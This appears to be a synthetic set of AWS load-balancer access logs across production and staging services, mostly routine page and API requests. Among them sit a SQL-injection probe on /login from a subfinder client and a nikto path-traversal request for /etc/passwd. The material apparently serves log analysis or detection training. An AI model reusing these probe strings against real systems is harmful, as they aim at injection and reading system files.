152.78.236.27:61525 10.0.220.192:443 0.054675 0.271521 0.049680 301 301 109 2110 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca91-f9386ce0eb444212a5f59c4e" "prod-web-alb.example.com" "-" 1 2024-11-01T01:21:05.172548Z "forward" "-" "-" "10.0.220.192:443" "301" "-" "-" -https 2024-11-01T01:21:06.657153Z prod-web-alb 198.163.81.248:14687 10.0.38.238:443 0.064590 0.197402 0.028146 200 200 798 1484 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca92-0f90e4677a514379b08eba05" "prod-web-alb.example.com" "-" 3 2024-11-01T01:21:06.657153Z "forward" "-" "-" "10.0.38.238:443" "200" "-" "-" -http 2024-11-01T01:21:06.896967Z staging-alb 185.181.178.132:56438 34.116.64.4:8080 0.021191 0.108968 0.135148 200 200 33 11386 "POST /login?id=1'-- HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca92-f62f6c70a2674f63a98f8048" "-" "-" 9 2024-11-01T01:21:06.896967Z "forward" "-" "-" "34.116.64.4:8080" "200" "-" "-" -https 2024-11-01T01:21:07.134431Z prod-api-alb 166.229.20.108:43172 10.0.147.45:443 0.023100 0.419952 0.067631 302 302 885 12346 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca93-020f2f6589a24fcfa434c162" "prod-api-alb.example.com" "-" 2 2024-11-01T01:21:07.134431Z "forward" "-" "-" "10.0.147.45:443" "302" "-" "-" -http 2024-11-01T01:21:07.645388Z staging-alb 229.12.52.222:45880 182.136.93.232:8080 0.129846 0.323564 0.067922 200 200 479 1390 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ca93-bbeac3f780e74455ab58d064" "-" "-" 4 2024-11-01T01:21:07.645388Z "forward" "-" "-" "182.136.93.232:8080" "200" "-" "-" -https 2024-11-01T01:21:08.581836Z prod-api-alb 44.187.224.244:39395 10.0.7.129:443 0.054928 0.455099 0.032227 200 200 280 5682 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca94-a7c68d844c414c3181ef4fd5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:21:08.581836Z "forward" "-" "-" "10.0.7.129:443" "200" "-" "-" -https 2024-11-01T01:21:10.229610Z prod-web-alb 17.127.41.92:26859 10.0.57.88:443 0.014042 0.351345 0.060441 301 301 2 14718 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca96-ba2a6231de8a49cb84b6b60d" "prod-web-alb.example.com" "-" 5 2024-11-01T01:21:10.229610Z "forward" "-" "-" "10.0.57.88:443" "301" "-" "-" -https 2024-11-01T01:21:10.427587Z prod-api-alb 12.88.131.64:62937 10.0.234.77:443 0.013804 0.367113 0.047894 302 302 339 807 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca96-e22cc8c32956446b83dc23e0" "prod-api-alb.example.com" "-" 6 2024-11-01T01:21:10.427587Z "forward" "-" "-" "10.0.234.77:443" "302" "-" "-" -https 2024-11-01T01:21:11.810477Z prod-web-alb 15.66.241.151:29164 10.0.28.4:443 0.051936 0.069002 0.084653 200 200 293 12991 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca97-9f4cf87748f84cf88d2cd0df" "prod-web-alb.example.com" "-" 10 2024-11-01T01:21:11.810477Z "forward" "-" "-" "10.0.28.4:443" "200" "-" "-" -https 2024-11-01T01:21:12.678213Z prod-web-alb 243.2.237.235:63160 10.0.45.70:443 0.041567 0.492798 0.096351 200 200 185 10331 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ca98-bd7d1ff7c730464b8a1d1988" "prod-web-alb.example.com" "-" 9 2024-11-01T01:21:12.678213Z "forward" "-" "-" "10.0.45.70:443" "200" "-" "-" -https 2024-11-01T01:21:13.257011Z staging-alb 91.230.162.52:41273 205.234.145.120:8080 0.057071 0.559209 0.088670 200 200 25 2524 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca99-fb202c7a003f4e8aa8d024c4" "staging-alb.example.com" "-" 6 2024-11-01T01:21:13.257011Z "forward" "-" "-" "205.234.145.120:8080" "200" "-" "-" -http 2024-11-01T01:21:13.977852Z staging-alb 56.223.27.233:39460 140.121.253.170:80 0.104847 0.692629 0.056137 404 404 52 14756 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ca99-b3e6c59bca834350b72eb7c2" "staging-alb.example.com" "-" 7 2024-11-01T01:21:13.977852Z "forward" "-" "-" "140.121.253.170:80" "404" "-" "-" -https 2024-11-01T01:21:14.795590Z prod-web-alb 108.86.166.5:59425 10.0.139.8:443 0.056325 0.443759 0.099731 200 200 933 11066 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca9a-ddfec4e0d7f14b6b8c8fbe42" "prod-web-alb.example.com" "-" 2 2024-11-01T01:21:14.795590Z "forward" "-" "-" "10.0.139.8:443" "200" "-" "-" -https 2024-11-01T01:21:15.199446Z prod-api-alb 221.114.169.19:21163 10.0.238.223:443 0.000886 0.373171 0.095299 200 200 340 8095 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca9b-94dbc3cf2a71457b96791064" "prod-api-alb.example.com" "-" 8 2024-11-01T01:21:15.199446Z "forward" "-" "-" "10.0.238.223:443" "200" "-" "-" -https 2024-11-01T01:21:15.692802Z prod-web-alb 33.238.148.103:63779 10.0.21.170:443 0.085953 0.302386 0.094571 200 200 823 7154 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca9b-0bf09032f4b84aa7ad44d028" "prod-web-alb.example.com" "-" 3 2024-11-01T01:21:15.692802Z "forward" "-" "-" "10.0.21.170:443" "200" "-" "-" -https 2024-11-01T01:21:16.000694Z prod-api-alb 12.21.246.206:28786 10.0.199.122:443 0.087305 0.422264 0.075170 200 200 914 768 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca9c-5e093a5ab3ec4c43a90b8d7d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:21:16.000694Z "forward" "-" "-" "10.0.199.122:443" "200" "-" "-" -https 2024-11-01T01:21:17.056659Z prod-api-alb 151.59.240.68:41611 10.0.107.226:443 0.087371 0.469269 0.008124 200 200 556 720 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca9d-f5e9d77d7e564409a74b4f5b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:21:17.056659Z "forward" "-" "-" "10.0.107.226:443" "200" "-" "-" -https 2024-11-01T01:21:18.636830Z prod-api-alb 20.154.138.139:61311 10.0.121.35:443 0.028457 0.273470 0.077425 404 404 361 7925 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ca9e-bc7a41018f0b42ad9ae36403" "prod-api-alb.example.com" "-" 2 2024-11-01T01:21:18.636830Z "forward" "-" "-" "10.0.121.35:443" "404" "-" "-" -https 2024-11-01T01:21:19.037736Z prod-web-alb 86.210.70.112:49658 10.0.120.191:443 0.021872 0.339257 0.086366 302 302 19 8886 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ca9f-78b43791b6714fa6b41c7928" "prod-web-alb.example.com" "-" 4 2024-11-01T01:21:19.037736Z "forward" "-" "-" "10.0.120.191:443" "302" "-" "-" -https 2024-11-01T01:21:19.585693Z prod-api-alb 201.253.136.148:50202 10.0.157.165:443 0.083658 0.206099 0.010788 200 200 565 9880 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ca9f-9ad8733873d0440ea0fbeaec" "prod-api-alb.example.com" "-" 1 2024-11-01T01:21:19.585693Z "forward" "-" "-" "10.0.157.165:443" "200" "-" "-" -https 2024-11-01T01:21:20.232596Z prod-web-alb 199.106.19.117:60159 10.0.113.174:443 0.067322 0.244297 0.060265 302 302 569 3525 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caa0-a0838887242c4c38873e7479" "prod-web-alb.example.com" "-" 10 2024-11-01T01:21:20.232596Z "forward" "-" "-" "10.0.113.174:443" "302" "-" "-" -https 2024-11-01T01:21:21.190395Z prod-web-alb 45.155.205.157:43680 10.0.187.166:443 0.034009 0.265097 0.050645 403 403 492 8900 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caa1-65228e59744a41f1a11b4b73" "-" "-" 8 2024-11-01T01:21:21.190395Z "forward" "-" "-" "10.0.187.166:443" "403" "-" "-" -https 2024-11-01T01:21:21.919419Z prod-web-alb 109.60.68.33:28999 10.0.115.161:443 0.070919 0.014341 0.024681 200 200 459 9472 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caa1-edafe88dd4e14f469d193f34" "prod-web-alb.example.com" "-" 8 2024-11-01T01:21:21.919419Z "forward" "-" "-" "10.0.115.161:443" "200" "-" "-" -https 2024-11-01T01:21:22.924523Z prod-web-alb 144.103.75.254:61123 10.0.186.39:443 0.087004 0.046666 0.050242 301 301 753 9588 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caa2-bed9af025687437aa30769e2" "prod-web-alb.example.com" "-" 7 2024-11-01T01:21:22.924523Z "forward" "-" "-" "10.0.186.39:443" "301" "-" "-" -https 2024-11-01T01:21:24.594054Z prod-web-alb 201.25.116.196:14592 10.0.27.152:443 0.067581 0.207231 0.024932 200 200 113 11530 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caa4-05a6bd3c84264ddcac09adac" "prod-web-alb.example.com" "-" 9 2024-11-01T01:21:24.594054Z "forward" "-" "-" "10.0.27.152:443" "200" "-" "-" -https 2024-11-01T01:21:26.047374Z prod-api-alb 100.172.211.151:59449 10.0.242.98:443 0.004129 0.482530 0.069571 200 200 604 9846 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caa6-bbd9694a0b56412bacbafb44" "prod-api-alb.example.com" "-" 3 2024-11-01T01:21:26.047374Z "forward" "-" "-" "10.0.242.98:443" "200" "-" "-" -https 2024-11-01T01:21:27.280177Z prod-web-alb 105.142.45.3:12737 10.0.176.251:443 0.057195 0.323933 0.088561 302 302 817 9308 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caa7-09399c634eb9461da84d0450" "prod-web-alb.example.com" "-" 6 2024-11-01T01:21:27.280177Z "forward" "-" "-" "10.0.176.251:443" "302" "-" "-" -http 2024-11-01T01:21:28.020488Z staging-alb 153.0.39.107:50282 144.120.86.135:443 0.105580 0.404130 0.041671 302 302 640 5607 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caa8-6e28e9cb2fcd4f589b028193" "staging-alb.example.com" "-" 10 2024-11-01T01:21:28.020488Z "forward" "-" "-" "144.120.86.135:443" "302" "-" "-" -http 2024-11-01T01:21:29.132157Z staging-alb 76.251.96.141:39227 77.54.14.36:80 0.140457 0.527545 0.012874 200 200 371 11533 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caa9-bf21192837ec48988da67543" "staging-alb.example.com" "-" 0 2024-11-01T01:21:29.132157Z "forward" "-" "-" "77.54.14.36:80" "200" "-" "-" -https 2024-11-01T01:21:30.313219Z prod-api-alb 65.177.201.22:22314 10.0.1.23:443 0.079784 0.443463 0.099293 301 301 776 7465 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caaa-c65193b910134c5bb85c32d6" "prod-api-alb.example.com" "-" 5 2024-11-01T01:21:30.313219Z "forward" "-" "-" "10.0.1.23:443" "301" "-" "-" -https 2024-11-01T01:21:31.120468Z prod-web-alb 218.160.32.145:39692 10.0.91.139:443 0.082385 0.197823 0.063258 404 404 185 1800 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caab-9849f16c361345748d4d3f40" "prod-web-alb.example.com" "-" 5 2024-11-01T01:21:31.120468Z "forward" "-" "-" "10.0.91.139:443" "404" "-" "-" -https 2024-11-01T01:21:31.341948Z staging-alb 69.197.223.64:43754 120.77.59.163:443 0.016147 0.649154 0.148790 200 200 760 12458 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caab-194babf289214266adbf8b48" "staging-alb.example.com" "-" 7 2024-11-01T01:21:31.341948Z "forward" "-" "-" "120.77.59.163:443" "200" "-" "-" -https 2024-11-01T01:21:32.168824Z prod-web-alb 30.111.136.234:61356 10.0.155.160:443 0.037752 0.140735 0.075347 200 200 55 9730 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caac-51fe18e385584afaaeb51420" "prod-web-alb.example.com" "-" 9 2024-11-01T01:21:32.168824Z "forward" "-" "-" "10.0.155.160:443" "200" "-" "-" -https 2024-11-01T01:21:33.553576Z prod-api-alb 158.219.75.67:43493 10.0.184.109:443 0.080924 0.347354 0.093777 301 301 782 12587 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723caad-41b58351710a4b2a93a6eaae" "prod-api-alb.example.com" "-" 4 2024-11-01T01:21:33.553576Z "forward" "-" "-" "10.0.184.109:443" "301" "-" "-" -https 2024-11-01T01:21:35.198205Z prod-api-alb 228.208.148.183:35625 10.0.155.17:443 0.019188 0.245845 0.023227 302 302 246 3789 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723caaf-dcddcd9a12f04061b8955741" "prod-api-alb.example.com" "-" 9 2024-11-01T01:21:35.198205Z "forward" "-" "-" "10.0.155.17:443" "302" "-" "-" -https 2024-11-01T01:21:36.498047Z prod-web-alb 34.134.221.145:40619 10.0.141.195:443 0.022799 0.423316 0.086149 200 200 241 12966 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cab0-8d5f6d5639d7468fac0d9d81" "prod-web-alb.example.com" "-" 2 2024-11-01T01:21:36.498047Z "forward" "-" "-" "10.0.141.195:443" "200" "-" "-" -https 2024-11-01T01:21:38.031367Z prod-web-alb 99.156.19.240:40613 10.0.205.22:443 0.023963 0.105667 0.051182 200 200 901 5997 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cab2-5b5b2f15a3a84e408a0df662" "prod-web-alb.example.com" "-" 8 2024-11-01T01:21:38.031367Z "forward" "-" "-" "10.0.205.22:443" "200" "-" "-" -http 2024-11-01T01:21:39.590835Z staging-alb 197.194.10.93:57861 51.231.92.78:443 0.080485 0.722692 0.027164 200 200 716 8339 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cab3-bee748b9f2e8408b9b2d73d8" "staging-alb.example.com" "-" 3 2024-11-01T01:21:39.590835Z "forward" "-" "-" "51.231.92.78:443" "200" "-" "-" -https 2024-11-01T01:21:40.841014Z prod-web-alb 98.30.178.75:27688 10.0.73.245:443 0.051871 0.320640 0.013402 200 200 308 10794 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cab4-43fce982cfb1409196d142e4" "prod-web-alb.example.com" "-" 4 2024-11-01T01:21:40.841014Z "forward" "-" "-" "10.0.73.245:443" "200" "-" "-" -http 2024-11-01T01:21:41.414516Z staging-alb 129.203.159.0:35138 147.226.15.206:8080 0.126797 0.301666 0.063852 200 200 724 9467 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cab5-95224ccc16bf4815ac802f56" "staging-alb.example.com" "-" 0 2024-11-01T01:21:41.414516Z "forward" "-" "-" "147.226.15.206:8080" "200" "-" "-" -http 2024-11-01T01:21:43.400703Z staging-alb 75.78.126.150:32829 49.141.222.195:80 0.063566 0.637278 0.115002 200 200 152 1515 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cab7-4fa457255f964759a9080189" "staging-alb.example.com" "-" 9 2024-11-01T01:21:43.400703Z "forward" "-" "-" "49.141.222.195:80" "200" "-" "-" -https 2024-11-01T01:21:44.219782Z prod-api-alb 82.76.155.218:46939 10.0.1.28:443 0.038814 0.135269 0.021187 302 302 964 11893 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cab8-b7956c8fc48246d791226fc4" "prod-api-alb.example.com" "-" 6 2024-11-01T01:21:44.219782Z "forward" "-" "-" "10.0.1.28:443" "302" "-" "-" -https 2024-11-01T01:21:46.080140Z staging-alb 247.128.18.40:25573 202.60.254.252:80 0.084239 0.066660 0.020748 200 200 333 12069 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caba-444dc94f5a894d578d3b6c85" "staging-alb.example.com" "-" 2 2024-11-01T01:21:46.080140Z "forward" "-" "-" "202.60.254.252:80" "200" "-" "-" -https 2024-11-01T01:21:47.183029Z prod-web-alb 65.43.189.92:58751 10.0.38.47:443 0.031653 0.319307 0.069329 200 200 911 5472 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cabb-327411742c81487ebac801d7" "prod-web-alb.example.com" "-" 8 2024-11-01T01:21:47.183029Z "forward" "-" "-" "10.0.38.47:443" "200" "-" "-" -https 2024-11-01T01:21:47.763985Z prod-api-alb 252.74.62.136:42878 10.0.81.35:443 0.041502 0.419695 0.015106 302 302 509 14237 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cabb-596e92c6ce77463ea97d1b85" "prod-api-alb.example.com" "-" 10 2024-11-01T01:21:47.763985Z "forward" "-" "-" "10.0.81.35:443" "302" "-" "-" -http 2024-11-01T01:21:48.654652Z staging-alb 197.14.124.87:18639 178.211.60.53:80 0.121873 0.381382 0.149308 200 200 68 9235 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cabc-fab002f322704941bdd64fde" "staging-alb.example.com" "-" 6 2024-11-01T01:21:48.654652Z "forward" "-" "-" "178.211.60.53:80" "200" "-" "-" -https 2024-11-01T01:21:50.375118Z prod-web-alb 78.33.48.196:29042 10.0.116.243:443 0.045465 0.058750 0.054654 302 302 55 6157 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cabe-5b2d04ebd0274a13a2419c30" "prod-web-alb.example.com" "-" 9 2024-11-01T01:21:50.375118Z "forward" "-" "-" "10.0.116.243:443" "302" "-" "-" -https 2024-11-01T01:21:50.765005Z prod-api-alb 152.151.16.203:63660 10.0.254.242:443 0.058561 0.299447 0.096138 200 200 116 13115 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cabe-31e0147d343845e98b284ad9" 